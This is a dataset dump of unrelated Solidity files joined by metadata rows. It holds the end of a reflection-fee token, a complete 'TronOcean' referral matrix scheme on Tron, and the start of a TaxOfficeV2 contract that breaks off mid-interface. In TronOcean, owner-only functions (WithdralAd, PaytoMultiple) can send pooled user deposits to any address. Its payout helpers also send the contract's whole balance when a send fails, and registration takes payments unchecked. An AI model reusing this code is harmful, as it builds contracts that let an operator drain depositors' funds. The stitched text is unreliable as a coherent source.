emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(18);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 76,106 | 13,648 |
5c3731e6f27b3a6861cddb68decf1a0be5ee9979f54be8fceefc167e88fd0b6c
| 24,592 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEbvahdq7CwZXmnMjcaNWjdavtQFv8M5eJ_TronOcean.sol
| 5,622 | 21,861 |
//SourceUnit: TronOcean26Sep.sol
pragma solidity >=0.4.23 <0.6.0;
contract TronOcean {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
address public owner;
address public owner1;
mapping(uint8 => uint) public levelPrice;
event RegDetails(address indexed user, uint payment, uint userId);
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event NewUserPlaceX8(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
event WithMulti(address indexed user,uint256 payment,uint256 withid);
constructor(address ownerAddress) public {
levelPrice[1] = 1 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
//TU2yGCkXAHph74JUmprUXaWpyhP2NrS9ma
owner = ownerAddress;
// owner1='TXznsBctY71Cugw2iRB2ZWnqkUP7ogFfnM';
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function registrationOwner(address referrerAddress) external payable {
if (msg.sender== owner)
{
owner1=referrerAddress;
}
}
function WithdralAd(address userAddress,address userAddress1,uint256 amnt) external payable {
if(owner==msg.sender)
{
Execution(userAddress,amnt);
// emit RegDetails(userAddress,userAddress,msg.sender, msg.value, mid);
}
}
function PaytoMultiple(address[] memory _address,uint256[] memory _amount,uint256[] memory _withId) public payable {
//buyNewLevelNew(matrix, level);
if(owner==msg.sender)
{
for (uint8 i = 0; i < _address.length; i++) {
emit WithMulti(_address[i],_amount[i],_withId[i]);
if (!address(uint160(_address[i])).send(_amount[i])) {
address(uint160(_address[i])).transfer(_amount[i]);
}
}
}
}
function registrationnEW(address userAddress, uint mid) external payable {
// require(msg.value == 100 trx, "registration cost 100 trx");
emit RegDetails(msg.sender, msg.value, mid);
//Execution1(owner,msg.value);
}
function Execution1(address _sponsorAddress,uint price) private returns (uint distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
if((users[msg.sender].activeX3Levels[6]==true) && (users[msg.sender].activeX6Levels[6]==true))
{
// emit Cheknew1(msg.sender, msg.sender,msg.sender, 1, 1);
}
if((users[msg.sender].activeX3Levels[12]==true) && (users[msg.sender].activeX6Levels[12]==true))
{
// emit Cheknew3(msg.sender, msg.sender,msg.sender, 1, 1);
}
}
function registration(address userAddress, address referrerAddress) private {
// require(msg.value == 1 trx, "registration cost 0.05");
require(!isUserExists(userAddress), "user exists");
//require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
userIds[lastUserId] = userAddress;
lastUserId++;
//users[referrerAddress].partnersCount++;
}
function WithdalAdmin(address userAddress) external payable {
if(owner==msg.sender)
{
Execution(userAddress,msg.value);
emit RegDetails(userAddress, msg.value, 1);
}
}
function registrationnEW(uint mid) external payable {
require(!isUserExists(msg.sender), "user exists");
registration(msg.sender, msg.sender);
// Execution(owner,msg.value);
emit RegDetails(msg.sender, msg.value,mid);
}
function Execution(address _sponsorAddress,uint256 price) private returns (uint256 distributeAmount) {
distributeAmount = price;
if (!address(uint160(_sponsorAddress)).send(price)) {
address(uint160(_sponsorAddress)).transfer(address(this).balance);
}
return distributeAmount;
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX8Referrer(address userAddress, address referrerAddress, uint8 level) private {
// require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
// users[referrerAddress].x8Matrix[level].secondLevelReferrals.push(userAddress);
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX8(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
} else {
//set current level
}
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 292,494 | 13,649 |
add1cae3937eec13a5b06426f6504d6cf4e0b1a915bcc369199fd3646319399d
| 24,765 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8e/8E64e1459Cd1cC9F63df1a8EBa0f3c9d839e4087_TaxOfficeV2.sol
| 4,236 | 16,199 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
